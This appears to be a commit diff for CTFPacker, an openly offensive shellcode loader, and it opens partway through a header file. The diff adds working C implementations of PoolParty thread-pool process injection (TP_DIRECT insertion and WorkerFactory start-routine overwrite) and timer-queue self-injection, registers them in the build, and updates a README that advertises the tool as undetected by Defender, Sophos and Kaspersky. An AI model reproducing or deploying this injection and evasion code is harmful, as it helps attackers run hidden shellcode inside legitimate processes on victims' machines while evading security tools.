ULONG BindingCount;
ULONG ThreadMinimum;
ULONG ThreadMaximum;
ULONG PendingWorkerCount;
ULONG WaitingWorkerCount;
ULONG TotalWorkerCount;
ULONG ReleaseCount;
LONGLONG InfiniteWaitGoal;
PVOID StartRoutine;
PVOID StartParameter;
HANDLE ProcessId;
SIZE_T StackReserve;
SIZE_T StackCommit;
NTSTATUS LastThreadCreationStatus;
} PP_WF_BASIC_INFO, *PPP_WF_BASIC_INFO;
/* ── Undocumented TP_DIRECT kernel structure ──────────────────────────── */
typedef struct _PP_TP_TASK_CALLBACKS {
PVOID ExecuteCallback;
PVOID Unposted;
} PP_TP_TASK_CALLBACKS, *PPP_TP_TASK_CALLBACKS;
typedef struct _PP_TP_TASK {
PPP_TP_TASK_CALLBACKS Callbacks;
UINT32 NumaNode;
UINT8 IdealProcessor;
BYTE Padding[3];
LIST_ENTRY ListEntry;
} PP_TP_TASK, *PPP_TP_TASK;
typedef struct _PP_TP_DIRECT {
PP_TP_TASK Task;
UINT64 Lock;
LIST_ENTRY IoCompletionInformationList;
PVOID Callback; /* <── shellcode address goes here */
UINT32 NumaNode;
UINT8 IdealProcessor;
BYTE __PADDING__[3];
} PP_TP_DIRECT, *PPP_TP_DIRECT;
/* ── NT function pointer typedefs ────────────────────────────────────── */
typedef NTSTATUS (NTAPI *fnNtQueryInformationProcess)(
HANDLE ProcessHandle,
ULONG ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength);
typedef NTSTATUS (NTAPI *fnNtQueryObject)(
HANDLE Handle,
ULONG ObjectInformationClass,
PVOID ObjectInformation,
ULONG ObjectInformationLength,
PULONG ReturnLength);
typedef NTSTATUS (NTAPI *fnNtQueryInformationWorkerFactory)(
HANDLE WorkerFactoryHandle,
ULONG WorkerFactoryInformationClass,
PVOID WorkerFactoryInformation,
ULONG WorkerFactoryInformationLength,
PULONG ReturnLength);
typedef NTSTATUS (NTAPI *fnNtSetInformationWorkerFactory)(
HANDLE WorkerFactoryHandle,
ULONG WorkerFactoryInformationClass,
PVOID WorkerFactoryInformation,
ULONG WorkerFactoryInformationLength);
typedef NTSTATUS (NTAPI *fnZwSetIoCompletion)(
HANDLE IoCompletionHandle,
PVOID KeyContext,
PVOID ApcContext,
NTSTATUS IoStatus,
ULONG_PTR IoStatusInformation);
/* ── Public injection functions ──────────────────────────────────────── */
BOOL PoolPartyTpDirect (IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, IN LPCSTR szTarget);
BOOL PoolPartyWfOverwrite(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, IN LPCSTR szTarget);
+57
View File
@@ -0,0 +1,57 @@
/*
* TimerQueue Callback Self-Injection
*
* Uses CreateTimerQueueTimer to dispatch shellcode as a callback
* on the Windows thread pool — entirely within the current process,
* no remote handle or process manipulation required.
*
* Execution flow:
* 1. Allocate RWX region and copy shellcode.
* 2. Create a dedicated timer queue.
* 3. Register a one-shot timer whose callback IS the shellcode.
* WT_EXECUTELONGFUNCTION prevents the pool from timing out.
* 4. Sleep(INFINITE) — shellcode runs on a thread pool thread.
*/
#include <windows.h>
#include <string.h>
#include "functions.h"
BOOL TimerQueueInject(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode) {
/* 1. Allocate RWX memory in the current process */
PVOID pExec = VirtualAlloc(NULL, sSizeOfShellcode,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!pExec)
return FALSE;
memcpy(pExec, pShellcode, sSizeOfShellcode);
/* 2. Create a dedicated timer queue */
HANDLE hQueue = CreateTimerQueue();
if (!hQueue) {
VirtualFree(pExec, 0, MEM_RELEASE);
return FALSE;
}
/*
* 3. Register a one-shot timer at 100 ms due time.
* The shellcode address is cast directly to WAITORTIMERCALLBACK.
* WT_EXECUTELONGFUNCTION: the thread pool won't try to interrupt it.
*/
HANDLE hTimer = NULL;
if (!CreateTimerQueueTimer(&hTimer, hQueue,
(WAITORTIMERCALLBACK)pExec,
NULL, 100, 0,
WT_EXECUTEONLYONCE | WT_EXECUTELONGFUNCTION)) {
DeleteTimerQueue(hQueue);
VirtualFree(pExec, 0, MEM_RELEASE);
return FALSE;
}
/* 4. Keep the main thread alive — shellcode owns its own threads from here */
Sleep(INFINITE);
return TRUE;
}
+3 -1
View File
@@ -47,7 +47,9 @@ COMMON_SRCS := \
unhook.c \
hellhall.c \
sandbox.c \
trampoline.c
trampoline.c \
poolparty.c \
timerqueue.c
ifeq ($(FORMAT),DLL)
MAIN_SRC := main_dll.c
+7
View File
@@ -21,5 +21,12 @@ FARPROC GetProcAddressH(HMODULE moduleHandle, DWORD hash);
BOOL Unhook(LPVOID module);
LPVOID MapNtdll();
// PoolParty thread-pool injection (poolparty.c)
BOOL PoolPartyTpDirect (IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, IN LPCSTR szTarget);
BOOL PoolPartyWfOverwrite(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, IN LPCSTR szTarget);
// TimerQueue callback self-injection (timerqueue.c)
BOOL TimerQueueInject(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode);
typedef BOOL (WINAPI* cCPA)(LPCSTR lpApplicationName,LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL bInheritHandles,DWORD dwCreationFlags, LPVOID lpEnvironment,LPCSTR lpCurrentDirectory,LPSTARTUPINFOA lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation);
typedef BOOL (WINAPI* cDAPS)(DWORD dwProcessId);
+287
View File
@@ -0,0 +1,287 @@
/*
* PoolParty — Thread Pool Process Injection
* Techniques adapted from @_0xDeku (Black Hat EU 2023)
* https://github.com/SafeBreach-Labs/PoolParty
*
* Variant 1 : WorkerFactory start-routine overwrite (PoolPartyWfOverwrite)
* Variant 7 : TP_DIRECT insertion via IoCompletion (PoolPartyTpDirect)
*/
#include <windows.h>
#include <tlhelp32.h>
#include <string.h>
#include <wchar.h>
#include "poolparty.h"
#include "functions.h"
/* ── Internal: find a process PID by name (case-insensitive) ─────────── */
static DWORD PP_GetPidByName(LPCSTR szName) {
DWORD dwPid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE)
return 0;
PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);
if (Process32First(hSnap, &pe)) {
do {
if (_stricmp(pe.szExeFile, szName) == 0) {
dwPid = pe.th32ProcessID;
break;
}
} while (Process32Next(hSnap, &pe));
}
CloseHandle(hSnap);
return dwPid;
}
/* ── Internal: duplicate a handle of a given type from hProcess ─────── */
/*
* Walks the target process handle table via NtQueryInformationProcess
* (ProcessHandleInformation = 51), duplicates each handle into the current
* process, and uses NtQueryObject to check the kernel object type name.
* Returns the duplicated handle on match, or NULL on failure.
*/
static HANDLE PP_HijackHandle(
HANDLE hProcess,
LPCWSTR wsTypeName,
ACCESS_MASK dwAccess) {
HMODULE hNtdll = GetModuleHandleH(#-NTDLL_VALUE-#);
fnNtQueryInformationProcess fpNtQIP = (fnNtQueryInformationProcess)
GetProcAddressH(hNtdll, #-NTQIP_VALUE-#);
fnNtQueryObject fpNtQO = (fnNtQueryObject)
GetProcAddressH(hNtdll, #-NTQO_VALUE-#);
if (!fpNtQIP || !fpNtQO)
return NULL;
/* Grow the buffer until NtQueryInformationProcess is satisfied */
ULONG uSize = 0x8000;
PPP_HANDLE_SNAPSHOT pSnap = NULL;
NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH;
while (status == (NTSTATUS)STATUS_INFO_LENGTH_MISMATCH ||
status == (NTSTATUS)STATUS_BUFFER_TOO_SMALL) {
if (pSnap)
HeapFree(GetProcessHeap(), 0, pSnap);
uSize *= 2;
pSnap = (PPP_HANDLE_SNAPSHOT)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, uSize);
if (!pSnap)
return NULL;
status = fpNtQIP(hProcess, PP_ProcessHandleInformation,
pSnap, uSize, &uSize);
}
if (status != 0) {
HeapFree(GetProcessHeap(), 0, pSnap);
return NULL;
}
HANDLE hFound = NULL;
USHORT wTargetLen = (USHORT)wcslen(wsTypeName);
for (ULONG_PTR i = 0; i < pSnap->NumberOfHandles; i++) {
HANDLE hDup = NULL;
if (!DuplicateHandle(hProcess,
pSnap->Handles[i].HandleValue,
GetCurrentProcess(),
&hDup,
dwAccess, FALSE, 0))
continue;
/* Use a stack buffer — type names are short (<64 chars) */
BYTE buf[512] = { 0 };
NTSTATUS qoStatus = fpNtQO(hDup, PP_ObjectTypeInformation,
buf, sizeof(buf), NULL);
if (qoStatus != 0) {
CloseHandle(hDup);
continue;
}
PPP_OBJECT_TYPE_INFO pInfo = (PPP_OBJECT_TYPE_INFO)buf;
/* TypeName.Length is in bytes — convert to wchar count */
USHORT wLen = pInfo->TypeName.Length / sizeof(WCHAR);
if (pInfo->TypeName.Buffer != NULL &&
wLen == wTargetLen &&
wcsncmp(pInfo->TypeName.Buffer, wsTypeName, wLen) == 0) {
hFound = hDup;
break;
}
CloseHandle(hDup);
}
HeapFree(GetProcessHeap(), 0, pSnap);
return hFound;
}
/* ── Variant 7: TP_DIRECT insertion via IoCompletion ─────────────────── */
/*
* 1. Finds the target process by name and opens it.
* 2. Hijacks the IoCompletion handle from the target's thread pool.
* 3. Allocates RWX memory in the target and writes the shellcode.
* 4. Crafts a TP_DIRECT structure with Callback = shellcode address.
* 5. Allocates the TP_DIRECT in the target process and writes it.
* 6. Calls ZwSetIoCompletion to queue a packet — the target's thread
* pool dequeues it and dispatches to our shellcode.
*/
BOOL PoolPartyTpDirect(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode,
IN LPCSTR szTarget) {
fnZwSetIoCompletion fpZwSIC = (fnZwSetIoCompletion)
GetProcAddressH(GetModuleHandleH(#-NTDLL_VALUE-#), #-ZSETIO_VALUE-#);
if (!fpZwSIC)
return FALSE;
/* Step 1: locate the target process */
DWORD dwPid = PP_GetPidByName(szTarget);
if (!dwPid)
return FALSE;
/* Step 2: open it with VM + handle duplication privileges */
HANDLE hProcess = OpenProcess(
PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION,
FALSE, dwPid);
if (!hProcess)
return FALSE;
/* Step 3: hijack the IoCompletion handle from the target's thread pool */
HANDLE hIoCompletion = PP_HijackHandle(hProcess, L"IoCompletion",
IO_COMPLETION_ALL_ACCESS);
if (!hIoCompletion) {
CloseHandle(hProcess);
return FALSE;
}
/* Step 4: allocate RWX memory in the target and write the shellcode */
PVOID pRemoteShellcode = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!pRemoteShellcode) {
CloseHandle(hIoCompletion);
CloseHandle(hProcess);
return FALSE;
}
SIZE_T dwWritten = 0;
if (!WriteProcessMemory(hProcess, pRemoteShellcode,
pShellcode, sSizeOfShellcode, &dwWritten)) {
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
CloseHandle(hIoCompletion);
CloseHandle(hProcess);
return FALSE;
}
/* Step 5: craft TP_DIRECT with shellcode address as the callback */
PP_TP_DIRECT Direct;
RtlSecureZeroMemory(&Direct, sizeof(Direct));
Direct.Callback = pRemoteShellcode;
PVOID pRemoteDirect = VirtualAllocEx(hProcess, NULL, sizeof(PP_TP_DIRECT),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
if (!pRemoteDirect) {
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
CloseHandle(hIoCompletion);
CloseHandle(hProcess);
return FALSE;
}
WriteProcessMemory(hProcess, pRemoteDirect,
&Direct, sizeof(PP_TP_DIRECT), NULL);
/* Step 6: queue the IO completion packet — triggers execution */
NTSTATUS status = fpZwSIC(hIoCompletion, pRemoteDirect, NULL, 0, 0);
CloseHandle(hIoCompletion);
CloseHandle(hProcess);
return (status == 0);
}
/* ── Variant 1: WorkerFactory start-routine overwrite ────────────────── */
/*
* 1. Finds the target process by name and opens it.
* 2. Hijacks the TpWorkerFactory handle from the target's thread pool.
* 3. Queries worker factory basic info to get StartRoutine + TotalWorkerCount.
* 4. Overwrites StartRoutine in the target process with the shellcode
* (WriteProcessMemory bypasses page protection internally).
* 5. Bumps the minimum thread count via NtSetInformationWorkerFactory,
* forcing the thread pool to spawn a new worker that jumps to our code.
*/
BOOL PoolPartyWfOverwrite(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode,
IN LPCSTR szTarget) {
HMODULE hNtdll = GetModuleHandleH(#-NTDLL_VALUE-#);
fnNtQueryInformationWorkerFactory fpNtQIWF =
(fnNtQueryInformationWorkerFactory)
GetProcAddressH(hNtdll, #-NTQIWF_VALUE-#);
fnNtSetInformationWorkerFactory fpNtSIWF =
(fnNtSetInformationWorkerFactory)
GetProcAddressH(hNtdll, #-NTSIWF_VALUE-#);
if (!fpNtQIWF || !fpNtSIWF)
return FALSE;
/* Step 1: locate the target process */
DWORD dwPid = PP_GetPidByName(szTarget);
if (!dwPid)
return FALSE;
/* Step 2: open it — VM write + handle duplication */
HANDLE hProcess = OpenProcess(
PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION,
FALSE, dwPid);
if (!hProcess)
return FALSE;
/* Step 3: hijack the TpWorkerFactory handle */
HANDLE hWorkerFactory = PP_HijackHandle(hProcess, L"TpWorkerFactory",
WORKER_FACTORY_ALL_ACCESS);
if (!hWorkerFactory) {
CloseHandle(hProcess);
return FALSE;
}
/* Step 4: query basic info — we need StartRoutine and TotalWorkerCount */
PP_WF_BASIC_INFO wfInfo;
RtlSecureZeroMemory(&wfInfo, sizeof(wfInfo));
if (fpNtQIWF(hWorkerFactory, (ULONG)PPWorkerFactoryBasicInformation,
&wfInfo, sizeof(wfInfo), NULL) != 0) {
CloseHandle(hWorkerFactory);
CloseHandle(hProcess);
return FALSE;
}
/* Step 5: overwrite the start routine with our shellcode */
/* WriteProcessMemory writes through page protection — no VirtualProtectEx needed */
SIZE_T dwWritten = 0;
if (!WriteProcessMemory(hProcess, wfInfo.StartRoutine,
pShellcode, sSizeOfShellcode, &dwWritten)) {
CloseHandle(hWorkerFactory);
CloseHandle(hProcess);
return FALSE;
}
/* Step 6: bump minimum thread count to force a new worker to start */
ULONG uMinThreads = wfInfo.TotalWorkerCount + 1;
fpNtSIWF(hWorkerFactory, (ULONG)PPWorkerFactoryThreadMinimum,
&uMinThreads, sizeof(ULONG));
CloseHandle(hWorkerFactory);
CloseHandle(hProcess);
return TRUE;
}
+159
View File
@@ -0,0 +1,159 @@
#pragma once
/*
* PoolParty — Thread Pool Process Injection
* Techniques adapted from @_0xDeku (Black Hat EU 2023)
* https://github.com/SafeBreach-Labs/PoolParty
*
* Variant 1 : WorkerFactory start-routine overwrite (wf_overwrite)
* Variant 7 : TP_DIRECT insertion via IoCompletion (tp_direct)
*/
#include <windows.h>
#include <winternl.h>
#include <tlhelp32.h>
/* ── NT status helpers ────────────────────────────────────────────────── */
#ifndef STATUS_INFO_LENGTH_MISMATCH
# define STATUS_INFO_LENGTH_MISMATCH 0xC0000004UL
#endif
#ifndef STATUS_BUFFER_TOO_SMALL
# define STATUS_BUFFER_TOO_SMALL 0xC0000023UL
#endif
/* ── NtQueryObject information class ─────────────────────────────────── */
#define PP_ObjectTypeInformation 2
/* ── NtQueryInformationProcess class for handle snapshot (Win8+) ─────── */
#define PP_ProcessHandleInformation 51
/* ── Worker-factory access mask ──────────────────────────────────────── */
#ifndef WORKER_FACTORY_ALL_ACCESS
# define WORKER_FACTORY_ALL_ACCESS 0x001F003FL
#endif
/* ── I/O completion access mask ──────────────────────────────────────── */
#ifndef IO_COMPLETION_ALL_ACCESS
# define IO_COMPLETION_ALL_ACCESS 0x001F0003L
#endif
/* ── Handle snapshot structs ─────────────────────────────────────────── */
typedef struct _PP_HANDLE_ENTRY {
HANDLE HandleValue;
ULONG_PTR HandleCount;
ULONG_PTR PointerCount;
ACCESS_MASK GrantedAccess;
ULONG ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} PP_HANDLE_ENTRY, *PPP_HANDLE_ENTRY;
typedef struct _PP_HANDLE_SNAPSHOT {
ULONG_PTR NumberOfHandles;
ULONG_PTR Reserved;
PP_HANDLE_ENTRY Handles[ANYSIZE_ARRAY];
} PP_HANDLE_SNAPSHOT, *PPP_HANDLE_SNAPSHOT;
/* ── NtQueryObject result (ObjectTypeInformation) ────────────────────── */
typedef struct _PP_OBJECT_TYPE_INFO {
UNICODE_STRING TypeName;
ULONG Reserved[22];
} PP_OBJECT_TYPE_INFO, *PPP_OBJECT_TYPE_INFO;
/* ── WorkerFactory basic information ─────────────────────────────────── */
typedef enum _PP_QUERY_WF_CLASS {
PPWorkerFactoryBasicInformation = 7
} PP_QUERY_WF_CLASS;
typedef enum _PP_SET_WF_CLASS {
PPWorkerFactoryThreadMinimum = 4
} PP_SET_WF_CLASS;
typedef struct _PP_WF_BASIC_INFO {
LARGE_INTEGER Timeout;
LARGE_INTEGER RetryTimeout;
LARGE_INTEGER IdleTimeout;
BOOLEAN Paused;
BOOLEAN TimerSet;
BOOLEAN QueuedToExWorker;
BOOLEAN MayCreate;
BOOLEAN CreateInProgress;
BOOLEAN InsertedIntoQueue;
BOOLEAN Shutdown;
ULONG BindingCount;
ULONG ThreadMinimum;
ULONG ThreadMaximum;
ULONG PendingWorkerCount;
ULONG WaitingWorkerCount;
ULONG TotalWorkerCount;
ULONG ReleaseCount;
LONGLONG InfiniteWaitGoal;
PVOID StartRoutine;
PVOID StartParameter;
HANDLE ProcessId;
SIZE_T StackReserve;
SIZE_T StackCommit;
NTSTATUS LastThreadCreationStatus;
} PP_WF_BASIC_INFO, *PPP_WF_BASIC_INFO;
/* ── Undocumented TP_DIRECT kernel structure ──────────────────────────── */
typedef struct _PP_TP_TASK_CALLBACKS {
PVOID ExecuteCallback;
PVOID Unposted;
} PP_TP_TASK_CALLBACKS, *PPP_TP_TASK_CALLBACKS;
typedef struct _PP_TP_TASK {
PPP_TP_TASK_CALLBACKS Callbacks;
UINT32 NumaNode;
UINT8 IdealProcessor;
BYTE Padding[3];
LIST_ENTRY ListEntry;
} PP_TP_TASK, *PPP_TP_TASK;
typedef struct _PP_TP_DIRECT {
PP_TP_TASK Task;
UINT64 Lock;
LIST_ENTRY IoCompletionInformationList;
PVOID Callback; /* <── shellcode address goes here */
UINT32 NumaNode;
UINT8 IdealProcessor;
BYTE __PADDING__[3];
} PP_TP_DIRECT, *PPP_TP_DIRECT;
/* ── NT function pointer typedefs ────────────────────────────────────── */
typedef NTSTATUS (NTAPI *fnNtQueryInformationProcess)(
HANDLE ProcessHandle,
ULONG ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength);
typedef NTSTATUS (NTAPI *fnNtQueryObject)(
HANDLE Handle,
ULONG ObjectInformationClass,
PVOID ObjectInformation,
ULONG ObjectInformationLength,
PULONG ReturnLength);
typedef NTSTATUS (NTAPI *fnNtQueryInformationWorkerFactory)(
HANDLE WorkerFactoryHandle,
ULONG WorkerFactoryInformationClass,
PVOID WorkerFactoryInformation,
ULONG WorkerFactoryInformationLength,
PULONG ReturnLength);
typedef NTSTATUS (NTAPI *fnNtSetInformationWorkerFactory)(
HANDLE WorkerFactoryHandle,
ULONG WorkerFactoryInformationClass,
PVOID WorkerFactoryInformation,
ULONG WorkerFactoryInformationLength);
typedef NTSTATUS (NTAPI *fnZwSetIoCompletion)(
HANDLE IoCompletionHandle,
PVOID KeyContext,
PVOID ApcContext,
NTSTATUS IoStatus,
ULONG_PTR IoStatusInformation);
/* ── Public injection functions ──────────────────────────────────────── */
BOOL PoolPartyTpDirect (IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, IN LPCSTR szTarget);
BOOL PoolPartyWfOverwrite(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, IN LPCSTR szTarget);
+57
View File
@@ -0,0 +1,57 @@
/*
* TimerQueue Callback Self-Injection
*
* Uses CreateTimerQueueTimer to dispatch shellcode as a callback
* on the Windows thread pool — entirely within the current process,
* no remote handle or process manipulation required.
*
* Execution flow:
* 1. Allocate RWX region and copy shellcode.
* 2. Create a dedicated timer queue.
* 3. Register a one-shot timer whose callback IS the shellcode.
* WT_EXECUTELONGFUNCTION prevents the pool from timing out.
* 4. Sleep(INFINITE) — shellcode runs on a thread pool thread.
*/
#include <windows.h>
#include <string.h>
#include "functions.h"
BOOL TimerQueueInject(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode) {
/* 1. Allocate RWX memory in the current process */
PVOID pExec = VirtualAlloc(NULL, sSizeOfShellcode,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!pExec)
return FALSE;
memcpy(pExec, pShellcode, sSizeOfShellcode);
/* 2. Create a dedicated timer queue */
HANDLE hQueue = CreateTimerQueue();
if (!hQueue) {
VirtualFree(pExec, 0, MEM_RELEASE);
return FALSE;
}
/*
* 3. Register a one-shot timer at 100 ms due time.
* The shellcode address is cast directly to WAITORTIMERCALLBACK.
* WT_EXECUTELONGFUNCTION: the thread pool won't try to interrupt it.
*/
HANDLE hTimer = NULL;
if (!CreateTimerQueueTimer(&hTimer, hQueue,
(WAITORTIMERCALLBACK)pExec,
NULL, 100, 0,
WT_EXECUTEONLYONCE | WT_EXECUTELONGFUNCTION)) {
DeleteTimerQueue(hQueue);
VirtualFree(pExec, 0, MEM_RELEASE);
return FALSE;
}
/* 4. Keep the main thread alive — shellcode owns its own threads from here */
Sleep(INFINITE);
return TRUE;
}
+42 -31
View File
@@ -1,6 +1,8 @@
# CTFPacker
![CTFPacker](assets/Full-Logo-red-black.svg)
<p align="center">
<img src="assets/Full-Logo-red-black.svg" width="500" alt="CTFPacker">
</p>
> [!TIP]
> Did CTFPacker help you with a penetration test engagement or in passing a certification exam? If so, please consider giving it a star ⭐! Your support would greatly help the project and motivate me to add more features or even rework it entirely into a much more capable packer!
@@ -17,7 +19,6 @@
+ [Format option](#format-option)
+ [Staged](#staged)
+ [Stageless](#stageless)
* [Demo](#demo)
* [To-Do](#to-do)
* [Detections](#detections)
* [Credits - References](#credits---references)
@@ -45,23 +46,28 @@ Check out my blog post for more infos: [Evade Modern AVs in 2025](https://mochab
- NTDLL unhooking via Known DLLs technique
- Custom GetProcAddr & GetModuleHandle functions
- Custom AES-128-CBC mode encryption & decryption
- EarlyBird APC Injection or CopyFile2 progress callback execution
- Multiple injection techniques (see table below)
- Possibility to choose between staged or stageless loader
- "Polymorphic" behavior with the `-s` argument
- Entropy reduction via embedded English text padding (`-er`)
- Optional HTTPS transport for staged payloads
### Injection Methods
| Flag | Name | Type | Target | How it works |
|------|------|------|--------|--------------|
| `apc` | EarlyBird APC | Remote — spawned process | `RuntimeBroker.exe` / `svchost.exe` | Spawns the target in a suspended state, queues an APC to the main thread pointing at injected shellcode, then resumes it |
| `copyfile2` | CopyFile2 Callback | **Self-injection** (local) | Own process | Uses the `CopyFile2` progress-callback mechanism to execute shellcode inside the current process — no remote handle required |
| `tp_direct` | PoolParty TP_DIRECT | Remote — existing process | `RuntimeBroker.exe` / `svchost.exe` | Hijacks the target's `IoCompletion` handle, writes shellcode into the target's memory, crafts a `TP_DIRECT` struct and queues it via `ZwSetIoCompletion` — the target's thread pool dispatches the callback |
| `wf_overwrite` | PoolParty WF Overwrite | Remote — existing process | `RuntimeBroker.exe` / `svchost.exe` | Hijacks the target's `TpWorkerFactory` handle, overwrites `StartRoutine` in the target's memory with the shellcode via `WriteProcessMemory`, then bumps the minimum thread count to force a new worker thread |
| `timerqueue` | Timer Queue Callback | **Self-injection** (local) | Own process | Allocates RWX memory, copies shellcode, and registers it as a one-shot `CreateTimerQueueTimer` callback — the thread pool fires it after 100 ms; main thread sleeps indefinitely |
> [!NOTE]
> `apc` spawns a **new** instance of the target process; `tp_direct` and `wf_overwrite` require the target process to **already be running**; `copyfile2` and `timerqueue` are self-injection and don't touch any other process.
## Installation
Make sure you have the following dependencies installed first:
```bash
# Assuming Debian based system (those are usually already on Kali)
sudo apt update
sudo apt install clang pipx mingw-w64 make lld nasm osslsigncode
```
Then just run the install script:
Just run the install script:
```bash
cd CTFPacker
@@ -95,7 +101,7 @@ Staged:
```
usage: main.py staged [-h] -p PAYLOAD [-f {EXE,DLL}] [-apc {RuntimeBroker.exe,svchost.exe}]
[-inj {apc,copyfile2}] -i IP_ADDRESS -po PORT -pa PATH [-o OUTPUT]
[-inj {apc,copyfile2,tp_direct,wf_overwrite,timerqueue}] -i IP_ADDRESS -po PORT -pa PATH [-o OUTPUT]
[--https] [--user-agent USER_AGENT] [-e] [-s] [-er]
[-pfx PFX] [-pfx-pass PFX_PASSWORD]
@@ -107,9 +113,12 @@ options:
Format of the output file (default: EXE).
-apc {RuntimeBroker.exe,svchost.exe}
Target injection process (default: RuntimeBroker.exe).
-inj {apc,copyfile2}, --inject-method {apc,copyfile2}
Injection method: 'apc' for EarlyBird APC or 'copyfile2' for
CopyFile2 progress callback execution (default: apc).
-inj {apc,copyfile2,tp_direct,wf_overwrite,timerqueue}, --inject-method {apc,copyfile2,tp_direct,wf_overwrite,timerqueue}
Injection method: 'apc' (EarlyBird APC), 'copyfile2' (CopyFile2
callback), 'tp_direct' (PoolParty TP_DIRECT via IoCompletion),
'wf_overwrite' (PoolParty WorkerFactory overwrite), or
'timerqueue' (TimerQueue callback self-injection).
Default: apc. tp_direct/wf_overwrite require an existing target process.
-i IP_ADDRESS, --ip-address IP_ADDRESS
IP address from where your shellcode is gonna be fetched.
-po PORT, --port PORT Port from where the HTTP connection is gonna fetch your shellcode.
@@ -131,7 +140,7 @@ Stageless:
```
usage: main.py stageless [-h] -p PAYLOAD [-f {EXE,DLL}] [-apc {RuntimeBroker.exe,svchost.exe}]
[-inj {apc,copyfile2}] [-e] [-s] [-er]
[-inj {apc,copyfile2,tp_direct,wf_overwrite,timerqueue}] [-e] [-s] [-er]
[-pfx PFX] [-pfx-pass PFX_PASSWORD]
options:
@@ -142,9 +151,12 @@ options:
Format of the output file (default: EXE).
-apc {RuntimeBroker.exe,svchost.exe}
Target injection process (default: RuntimeBroker.exe).
-inj {apc,copyfile2}, --inject-method {apc,copyfile2}
Injection method: 'apc' for EarlyBird APC or 'copyfile2' for
CopyFile2 progress callback execution (default: apc).
-inj {apc,copyfile2,tp_direct,wf_overwrite,timerqueue}, --inject-method {apc,copyfile2,tp_direct,wf_overwrite,timerqueue}
Injection method: 'apc' (EarlyBird APC), 'copyfile2' (CopyFile2
callback), 'tp_direct' (PoolParty TP_DIRECT via IoCompletion),
'wf_overwrite' (PoolParty WorkerFactory overwrite), or
'timerqueue' (TimerQueue callback self-injection).
Default: apc. tp_direct/wf_overwrite require an existing target process.
-e, --encrypt Encrypt the shellcode via AES-128-CBC.
-s, --scramble Scramble the loader's functions and variables.
-er, --entropy-reduction Reduce binary entropy by embedding English text padding.
@@ -157,12 +169,16 @@ Example usage: python main.py stageless -p shellcode.bin -e -s -inj copyfile2 -p
### GUI
If you installed via pipx or `install.sh`, you can launch the GUI directly:
If you installed via pipx or `install.sh`, you can launch the GUI directly or through your desktop app launcher:
```bash
ctfpacker-gui
```
<p align="center">
<img src="assets/GUI.png" width="300" alt="CTFPacker">
</p>
The GUI exposes all the same options as the CLI but with real-time build output, a log panel, and a profile system. You can save/load build configurations as named profiles, and export/import them as `.ctfp` files to share across machines.
### Format option
@@ -290,25 +306,19 @@ C:\Code\CTFPacker>ls
core ctfloader.exe custom_certs main.py requirements.txt shellcode.bin templates
```
## Demo
https://github.com/user-attachments/assets/4aa56672-bcfb-424b-aa89-a919b514ae35
## To-Do
- [x] Maybe adding a setup.py file to install via pip / pipx
- [x] Other templates with different injection techniques (added CopyFile2 progress callback)
- [x] PyQt6 GUI with build profiles & real-time output
- [x] Adding AMSI / ETW bypass (depends on what injection technique I am going to put here)
- [ ] More injection techniques
- [x] More injection techniques (added PoolParty Variant 1 WorkerFactory overwrite + Variant 7 TP_DIRECT)
## Detections
- Undetected on the latest Windows 11 Defender (2025-03-18, Version 1.425.89.0)
- Undetected on Windows 10 Defender (2025-03-18, Version 1.425.90.0)
- Undetected on the latest Sophos Home Premium (Version 2023.2.2.2)
![image](https://github.com/user-attachments/assets/54a5539c-8eb8-490e-a189-33fbf7be9867)
- Undetected on the latest Kasperky Premium (20.06.2025)
- Undetected on the latest Windows 11 Defender (2026-03-08, Version 1.445.420.0)
- Undetected on the latest Sophos Home Premium (Version 2024.3.3.1.0)
- Undetected on the latest Kasperky Premium (08.03.2026)
## Credits - References
@@ -319,5 +329,6 @@ Most of the code is not from me. Here are the original authors:
@ trickster0 - https://github.com/trickster0/TartarusGate (indirect syscalls)
@ SaadAhla - https://github.com/SaadAhla/ntdlll-unhooking-collection
@ VX-Underground - https://github.com/vxunderground/VX-API/blob/main/VX-API/GetProcAddressDjb2.cpp
@ SafeBreach-Labs - https://github.com/SafeBreach-Labs/PoolParty (PoolParty thread pool injection)
```
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 41 KiB

+2 -1
View File
@@ -36,7 +36,7 @@ fi
# ── Resolve the real (non-root) user that invoked sudo ───────────────────────
# pipx must be run as the actual user, not root, so binaries land in
# ~/.local/bin of the invoking user rather than /root/.local/bin.
REAL_USER="${SUDO_USER:-$USER}"
